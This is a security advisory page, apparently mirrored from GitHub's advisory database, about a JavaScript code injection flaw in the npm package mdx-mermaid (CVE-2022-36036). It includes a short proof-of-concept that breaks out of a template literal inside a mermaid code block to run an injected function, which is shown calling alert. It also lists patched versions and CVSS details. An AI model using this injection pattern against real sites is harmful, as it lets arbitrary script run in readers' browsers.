Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1ydmdtLTM1anctcTYyOM4AAujy

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

The same block but with the exploit added

```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

Permalink: https://github.com/advisories/GHSA-rvgm-35jw-q628
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydmdtLTM1anctcTYyOM4AAujy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: about 2 years ago
Updated: almost 2 years ago


CVSS Score: 3.6
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Identifiers: GHSA-rvgm-35jw-q628, CVE-2022-36036
References: Repository: https://github.com/sjwall/mdx-mermaid
Blast Radius: 9.7

Affected Packages

npm:mdx-mermaid
Dependent packages: 10
Dependent repositories: 506
Downloads: 57,200 last month
Affected Version Ranges: = 2.0.0-rc1, < 1.3.0
Fixed in: 2.0.0-rc2, 1.3.0
All affected versions: 0.0.1, 1.0.0, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 2.0.0-rc1
All unaffected versions: 1.3.0, 1.3.1, 1.3.2, 2.0.0, 2.0.1, 2.0.2